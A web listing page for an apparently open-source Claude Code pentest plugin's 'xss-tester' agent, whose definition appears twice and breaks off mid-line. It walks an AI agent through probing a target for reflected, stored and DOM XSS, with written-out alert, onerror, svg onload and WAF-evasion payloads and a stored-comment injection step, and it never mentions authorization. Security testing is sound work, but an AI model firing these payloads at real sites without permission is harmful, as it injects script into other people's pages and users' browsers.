xss-tester
Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for
$ npx -y skills add Stickman230/claude-pentest --agent claude-codeHow it fires
How this agent gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
Context preview
The summary Claude sees to decide when to auto-load this agent.
Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for
Agent definition
xss-tester.mdname: xss-tester
description: Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for browser-based evidence capture. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
color: orange
tools: [mcp__plugin_playwright_playwright__*, Bash, Read, Write]
XSS Tester
Execute XSS vulnerability testing across all context types and frameworks. Use Playwright for browser interaction and evidence capture. Generate verified PoCs with screenshot proof.
Workflow
Phase 1: Recon
1. Mount skill and payload files:
Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/basic.md
Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md
Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/dom.md
Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-bypass-techniques.md
Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-exploitation-techniques.md
Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md
2. Navigate to the target and take an initial snapshot:
browser_navigate(url="https://TARGET")
browser_snapshot()
3. Identify all input points: URL parameters, GET/POST forms, search fields, comment fields, rich text editors, JSON API fields, HTTP headers reflected in response. 4. Classify each reflection context:
- HTML body: `<div>USER_INPUT</div>`
- HTML attribute: `<input value="USER_INPUT">`
- JavaScript string: `var x = "USER_INPUT";`
- URL: `<a href="/search?q=USER_INPUT">`
- CSS: `style="color:USER_INPUT"`
5. Detect active defenses:
browser_network_requests() # Inspect Content-Security-Policy header
Also check for encoding behavior: does `<` become `<`? Does `"` become `"`? Check for WAF indicators: 403 on payloads, Cloudflare/ModSecurity headers. 6. Log:
{"timestamp":"...","agent":"xss-tester","action":"recon","target":"https://TARGET","input_points":8,"contexts":["html","attr","js-string"],"csp_present":false}Phase 2: Experiment
For each input point:
1. Start with harmless markers to test if input reflects at all:
browser_type(ref="input[name=q]", text="XSSTEST123")
browser_click(ref="button[type=submit]")
browser_snapshot()
Check: does `XSSTEST123` appear in the DOM? Is it encoded? 2. Test HTML tag injection:
browser_type(ref="input[name=q]", text="<b>bold</b>")
browser_click(ref="button[type=submit]")
browser_snapshot()
Check: does `<b>bold</b>` render as bold text (tag executed) or as literal text (encoded)? 3. Test basic XSS payload:
browser_type(ref="input[name=q]", text="<script>alert(1)</script>")
browser_click(ref="button[type=submit]")
browser_console_messages()
browser_snapshot()
4. Test event handler payload:
browser_type(ref="input[name=q]", text='<img src=x onerror=alert(document.domain)>')
browser_click(ref="button[type=submit]")
browser_console_messages()
5. Log each probe:
{"timestamp":"...","agent":"xss-tester","action":"experiment","input":"search-q","payload":"<script>alert(1)</script>","result":"blocked"}Phase 3: Test
Based on Phase 2 findings, escalate with targeted payloads:
**If basic payloads blocked — load bypass techniques:**
Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md
Apply WAF evasion techniques:
- Encoding: `<script>`
- Case variation: `<ScRiPt>alert(1)</sCrIpT>`
- Alternative event handlers: `<svg onload=alert(1)>`, `<body onpageshow=alert(1)>`
- Attribute injection: `" onmouseover="alert(1)` in value attributes
- Template literals: `` `${alert(1)}` ``
**If SPA detected (React/Vue/Angular):**
- React: Test `dangerouslySetInnerHTML` sinks
- Vue: Test `v-html` directive bindings
- Angular: Test `[innerHTML]` bindings and `bypassSecurityTrustHtml` usage
- Look for client-side routing params rendered directly into DOM
**If DOM-XSS suspected — load DOM payloads:**
Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md
Test DOM sinks: `document.write`, `innerHTML`, `outerHTML`, `location.hash`, `eval`:
browser_navigate(url="https://TARGET/page#<img src=x onerror=alert(document.domain)>")
browser_console_messages()
**If stored XSS suspected:** Submit payload in stored fields (comments, profiles, posts) then retrieve that page in a fresh navigation to confirm execution:
browser_navigate(url="https://TARGET/submit-comment")
browser_type(ref="textarea[name=comment]", text='<img src=x onerror=alert(document.domain)>')
browser_click(ref="button[type=submit]")
browser_navigate(url="https://TARGET/comments")
browser_console_messages()
**When payload executes — capture evidence immediately:**
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_execution.png")
browser_network_requests()
Log:
{"timestamp":"...","agent":"xss-tester","action":"test","type":"reflected","context":"html-attr","payload":"\" onmouseover=\"alert(document.domain)","result":"vulnerable"}Phase 4: Verify
For each confirmed XSS finding:
1. Capture definitive screenshot proof:
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_proof.png")
2. Save the HTTP request showing the payload:
Write outputs/ENGAGEMENT/findings/finding-NNN/evidence/request.txt
# Include: method, URL, headers, body with payload
3. Create `poc.py` (Python requests script demonstrating the injection):
import
Read more
name: xss-tester description: Tests for reflected, stored, and DOM-based XSS vulnerabilities across HTML, attribute, JavaScript, URL, and CSS contexts. Covers framework-specific sinks (React dangerouslySetInnerHTML, Vue v-html, Angular bypass), WAF evasion, and CSP bypass techniques. Uses Playwright for browser-based evidence capture. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator. color: orange tools: [mcp__plugin_playwright_playwright__*, Bash, Read, Write]
XSS Tester
Execute XSS vulnerability testing across all context types and frameworks. Use Playwright for browser interaction and evidence capture. Generate verified PoCs with screenshot proof.
Workflow
Phase 1: Recon
1. Mount skill and payload files:
Read plugins/pentest/skills/common-appsec-patterns/SKILL.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/basic.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/dom.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-bypass-techniques.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-exploitation-techniques.md Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md
2. Navigate to the target and take an initial snapshot:
browser_navigate(url="https://TARGET") browser_snapshot()
3. Identify all input points: URL parameters, GET/POST forms, search fields, comment fields, rich text editors, JSON API fields, HTTP headers reflected in response. 4. Classify each reflection context:
- HTML body: `<div>USER_INPUT</div>`
- HTML attribute: `<input value="USER_INPUT">`
- JavaScript string: `var x = "USER_INPUT";`
- URL: `<a href="/search?q=USER_INPUT">`
- CSS: `style="color:USER_INPUT"`
5. Detect active defenses:
browser_network_requests() # Inspect Content-Security-Policy header
Also check for encoding behavior: does `<` become `<`? Does `"` become `"`? Check for WAF indicators: 403 on payloads, Cloudflare/ModSecurity headers. 6. Log:
{"timestamp":"...","agent":"xss-tester","action":"recon","target":"https://TARGET","input_points":8,"contexts":["html","attr","js-string"],"csp_present":false}Phase 2: Experiment
For each input point:
1. Start with harmless markers to test if input reflects at all:
browser_type(ref="input[name=q]", text="XSSTEST123") browser_click(ref="button[type=submit]") browser_snapshot()
Check: does `XSSTEST123` appear in the DOM? Is it encoded? 2. Test HTML tag injection:
browser_type(ref="input[name=q]", text="<b>bold</b>") browser_click(ref="button[type=submit]") browser_snapshot()
Check: does `<b>bold</b>` render as bold text (tag executed) or as literal text (encoded)? 3. Test basic XSS payload:
browser_type(ref="input[name=q]", text="<script>alert(1)</script>") browser_click(ref="button[type=submit]") browser_console_messages() browser_snapshot()
4. Test event handler payload:
browser_type(ref="input[name=q]", text='<img src=x onerror=alert(document.domain)>') browser_click(ref="button[type=submit]") browser_console_messages()
5. Log each probe:
{"timestamp":"...","agent":"xss-tester","action":"experiment","input":"search-q","payload":"<script>alert(1)</script>","result":"blocked"}Phase 3: Test
Based on Phase 2 findings, escalate with targeted payloads:
**If basic payloads blocked — load bypass techniques:**
Read plugins/pentest/skills/pentest/attacks/client-side/xss/payloads/bypass.md
Apply WAF evasion techniques:
- Encoding: `<script>`
- Case variation: `<ScRiPt>alert(1)</sCrIpT>`
- Alternative event handlers: `<svg onload=alert(1)>`, `<body onpageshow=alert(1)>`
- Attribute injection: `" onmouseover="alert(1)` in value attributes
- Template literals: `` `${alert(1)}` ``
**If SPA detected (React/Vue/Angular):**
- React: Test `dangerouslySetInnerHTML` sinks
- Vue: Test `v-html` directive bindings
- Angular: Test `[innerHTML]` bindings and `bypassSecurityTrustHtml` usage
- Look for client-side routing params rendered directly into DOM
**If DOM-XSS suspected — load DOM payloads:**
Read plugins/pentest/skills/pentest/attacks/client-side/dom-based/dom-xss-quickstart.md
Test DOM sinks: `document.write`, `innerHTML`, `outerHTML`, `location.hash`, `eval`:
browser_navigate(url="https://TARGET/page#<img src=x onerror=alert(document.domain)>") browser_console_messages()
**If stored XSS suspected:** Submit payload in stored fields (comments, profiles, posts) then retrieve that page in a fresh navigation to confirm execution:
browser_navigate(url="https://TARGET/submit-comment") browser_type(ref="textarea[name=comment]", text='<img src=x onerror=alert(document.domain)>') browser_click(ref="button[type=submit]") browser_navigate(url="https://TARGET/comments") browser_console_messages()
**When payload executes — capture evidence immediately:**
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_execution.png") browser_network_requests()
Log:
{"timestamp":"...","agent":"xss-tester","action":"test","type":"reflected","context":"html-attr","payload":"\" onmouseover=\"alert(document.domain)","result":"vulnerable"}Phase 4: Verify
For each confirmed XSS finding:
1. Capture definitive screenshot proof:
browser_take_screenshot(filename="outputs/ENGAGEMENT/findings/finding-NNN/evidence/xss_proof.png")
2. Save the HTTP request showing the payload:
Write outputs/ENGAGEMENT/findings/finding-NNN/evidence/request.txt # Include: method, URL, headers, body with payload
3. Create `poc.py` (Python requests script demonstrating the injection):
import
An open source plugin for enabeling claude to gain offensive pentesting capabilities
Repo: Stickman230/claude-pentest
Other agents on claude-pentest.
- csp-bypass-tester
Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection
Open agent - csrf-tester
Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override. Generates browser-loadable PoC HTML for confirmed findings. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
Open agent - cve-tester
Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates exploitability against live targets. Follows 4-phase workflow. Deployed by cve-testing skill coordinator.
Open agent - domain-assessment
Performs comprehensive domain reconnaissance including passive and active subdomain discovery (subfinder, amass, certificate transparency), port scanning (nmap, masscan), and service enumeration. Builds attack surface inventory. Follows 4-phase workflow. Deployed by
Open agent - injection-tester
Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
Open agent - inventory-api-discovery
Discovers REST API endpoints, GraphQL schemas, SOAP/WSDL services, WebSocket connections, and API documentation (Swagger/OpenAPI/Postman). Enumerates versioned APIs (v1/v2/v3) and undocumented endpoints. Produces structured API endpoint inventory. Follows 4-phase workflow.
Open agent

